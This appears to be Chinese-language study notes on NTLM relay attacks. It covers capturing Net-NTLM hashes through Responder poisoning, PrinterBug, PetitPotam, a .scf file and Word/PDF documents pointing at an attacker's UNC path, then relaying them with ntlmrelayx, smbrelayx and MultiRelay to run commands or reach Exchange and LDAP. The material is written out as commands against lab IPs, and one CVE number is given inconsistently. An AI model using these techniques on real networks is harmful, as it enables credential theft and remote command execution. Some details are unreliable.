ntml relay
发生在ntlm认证的第三步,在response消息中存在net-ntlm hash ,当攻击者获取net-ntlmhash后,可以重放ntlm hash进行中间人攻击
客户端 攻击者 服务端
negotiate -> | -> negotiate
challenge <- | <- challenge (general challenge)
authenticate -> | -> authenticate (check response)
ntlm relay攻击分为两步 1.获取net-ntlm hash 2.重放net-ntlm hash
捕获ntlmhash
概念理解
LLMNR和NBNS协议
LLMNR link-local multicast name resolution 链路本地多播名称解析, NBNS network basic input output system name service 网络基本输入输出系统名称服务 用于局域网中的名称解析。
windows的解析顺序为
1.本地host文件
2.DNS缓存、DNS服务器
3.LLMNR 、NBNS
LLMNR协议解析
基于域名系统的数据包格式协议,将局域网内的所有ipv4和ipv6地址全部解析到同一本地链路的主机上,称为多播dns 监听端口为udp5355
NBNS协议解析
用于具有20-200的局域网内。通过udp的137端口,是一种应用程序接口,系统可以利用wins服务、广播以及lmhosts文件等多种模式将netbios名解析为相应IP地址
tips:lmhosts文件是Windows操作系统中的一个本地主机名解析文件,它可以用于将IP地址映射到主机名,以便在本地网络上进行名称解析。它通常用于解决网络上的名称解析问题,例如在没有DNS服务器的情况下,或者在DNS服务器无法解析某些主机名时使用。lmhosts文件通常位于Windows系统目录下的system32\drivers\etc目录中,可以使用文本编辑器进行编辑。在lmhosts文件中,每行包含一个IP地址和一个主机名,它们之间用空格或制表符分隔。此外,lmhosts文件还支持一些特殊的标记和注释,以便更好地管理和维护文件内容。
NBNS协议进行名称解析的过程
1.检查本地的NETBIOS缓存
2.没有缓存去找已经配置好的win服务器
3.向子网域发送广播
4.读取本地的lmhosts文件
攻击
1.利用responder监听网卡
./responder.py -i 10.211.55.2 -wrfv
2.是目标主机主动向攻击者发送NTLM认证
方法1:输入一个不存在的名称,本地hosts文件和DNS服务器均不能正常解析该名称,于是系统会发送LLMNR/NBNS数据包请求解析。攻击者收到后告诉客户端自己是该不存在的名称并要求客户端发送net-ntlmhash认证,以此收到net-ntlm hash
在域内主机10.211.55.7请求解析不存在的名称abcde,此时responder对目标主机进行LLMNR/NBNS毒化,要求其输入凭证获取net-ntlmhash
方法2:通过打印机漏洞 -printerbug.py
windows的MS-RPRN协议打印客户端和服务器之间的通信。该协议定义的方法毁掉用一个远程更改通知对象,该对象对打印机的更改进行监视,并将更改通知发送给打印客户端。
任何经过身份验证的与成员都可以连接到远程服务器的打印服务spoolsv.exe,并请求对一个新的打印作业进行更新,令其将该通知发送给制定目标,之后他会将立即测试连接,制定目标进行身份验证。
打印机是有system权限运行的,可以访问打印机的MS-RPRNRPC接口,迫使打印机服务向制定机器发起请求,就能取得目标机器的net-ntlm hash
工具Printerbug.py
该脚本会触发spoolservice bug 强制目标主机10.211.55.4通过MS-RPRNRPC接口对攻击者10.211.55.2进行NTLM身份验证。
python ptrinterbug.py xie/hack:p@ss1234@10.211.55.4 10.211.55.2
利用responder接受目标机器发送的SMB net-ntlm hash
方法3:文件系统远程协议 --petitpotam
利用微软加密文件系统远程协议MS-EFSRPC,用于对远程存储盒通过网络访问的加密数据执行维护和管理操作。利用petitpotam可以连接到LSARPC强制触发目标机器向制定远程服务器发送net-ntlm hash
工具petitpotam.py脚本 强制10.211.55.4向10.211.55.2发起ntlm身份认证。
python3 petitpotam.py -d xie.com -u hack -p p@ss1234 10.211.55.2 10.211.55.4
使用petitpotam.py脚本触发目标机器向攻击者发起SMB认证
方法4:ntlm_theft 盗窃
.scf后缀文件
一个文件夹内含有.scf文件,由于scf文件含有iconfile属性,因此explore.exe会尝试获取文件夹的图标。Iconfile属性支持UNC路径。所以当打开文件夹的时候,目标机器就会请求指定UNC的图标资源,并将当前用户的NTLM V2 Hash发送给指定机器,部署该机器一个responder监听就可以接收相关的Net-ntlm hash
创建一个test文件夹,并在文件夹下创建test.scf文件
[shell]
command=2
IconFile=\\10.211.55.2\test\test.ico
[Taskbar]
Command=ToggleDesktop
只要访问了该文件夹,目标机器就会请求指定的UNC路径
方法5:利用windows系统命令达成UNC访问
命令
cacls \\ip\\test
attrib \\ip\\xx
方法6:利用word
里面放一张图片,通过压缩软件打开,进入到test.docx\word\_rels文件,可以注意到其中而target="media/image1.jpeg"/
修改target参数为指定的UNC路径,再加上TargetMode="External" 只要有人访问了相关的word文档,目标主机就回去请求指定的UNC图片资源
方法7:利用PDF
pdf文件可以添加请求远程SMB服务器文件的功能,利用可盗窃windows的net-ntlm hash。前提受限于adobe pdf才能收到 局限性比较大
python2 worsePDF.py test.pdf 10.211.55.2
重放net-ntlm hash
获取目标机器的net-ntlm hash之后 1.hashcat破解net-ntlm hash 2.中继net-ntlm hash
中继NTLMhash -- 中级道SMB服务,控制该服务器执行任意命令
一.工作组
机器没有互相信任关系。微软在MS08-068对中继到自身的机器做了限制但是补丁在CVE-2019-1384被攻击者绕过
1.当收到用户的SMB请求之后,最直接的就是把请求中继会本身,从而控制机器。微软在补丁中通过修改SMB身份验证答复的验证方式防止姘居重播。
type1阶段,A访问B
type2 A收到B的challenge值,缓存在lsass进程中
type3 B收到A的认证消息后,查询lsass进程有没有缓存,如果有则认证失败。
如果AB是不同主机,namelsass进程中就没有缓存。如果是同一台主机就会认证失败
2.CVE-2019-1834 ghost potato。在微软的补丁中,缓存是存在300s时效性的。该Poc在休眠315s后,发送type3认证消息,绕过补丁 从而实现在目标机器的启动目录上上传指定文件
python ntlmrelayx.py -t smb://10.11.55.7 -smb2support --gpotato-startup test.txt
攻击成功后,会在启动目录下生成一个test.txt文件
二.域环境
普通域用户默认可以登录其他所有的机器(除域控),可以将域用户的net-ntlm hash中继到域内的其他机器
1.impacket下的smbrelayx.py。 该脚本接受域用户的net-ntlm hash,中级道域内其他机器执行指定命令
python3 smbrelayx.py -h 10.211.55.16 -c whoami
接收来自10.211.55.5的流量,中继到10.211.55.16的机器,执行whoami命令
2.impacket的ntlmrelayx.py
该脚本接受域用户的net-ntlm hash,中继到域内其他机器执行指定命令
python3 ntlmrelayx.py -t smb://10.211.55.16 -c whoami -smb2support
接收来自10.211.55.5的流量,中继到10.211.55.16的机器,执行whoami命令
3.responder下的multirelay.py
all参数获得一个稳定的shell。 -t用于指定中继的机器。
通过Multirelay.py脚本执行如下命令
./multirelay.py -t 10.211.55.16 -u all
中继到http
很多http也支持ntlm恩正,中继到http,http默认策略是不签名的
1)exchange认证。支持ntlmssp 可以将smb流量中继到exchange的ews接口中,从而进行收发邮件等操作
使用ntlmrelayToEWS.py脚本执行如下命令进行监听
python2 ntlmRelayToEWS.py -t https://10.211.55.5/EWS/exchange.asmx -r getFlolder -f inbox -v
收到目标用户的ntlmhash 后成功可以导出邮件
中继到ldap协议
域内默认使用ldap协议,也支持ntlm认证。是常用的一种攻击方式
ldap的默认策略是协商前民,并不是强制签名,是否签名由客户端决定,服务端和客户端协商是否需要签名。
http和smb协议中继到ldap的不同之处在于
1.http中继到ldap不要求进行签名可以直接进行中继
最新的中继手法就是想办法将http类型的流量中继到ldap上
2.smb协议中继到ldap需要签名 只能绕过 2019-1040 绕过ntlm消息完整性校验
ntlm relay防御
预控上的ldap强制开启签名,那么攻击者将无法将其他流量中继到ldap进行高危险操作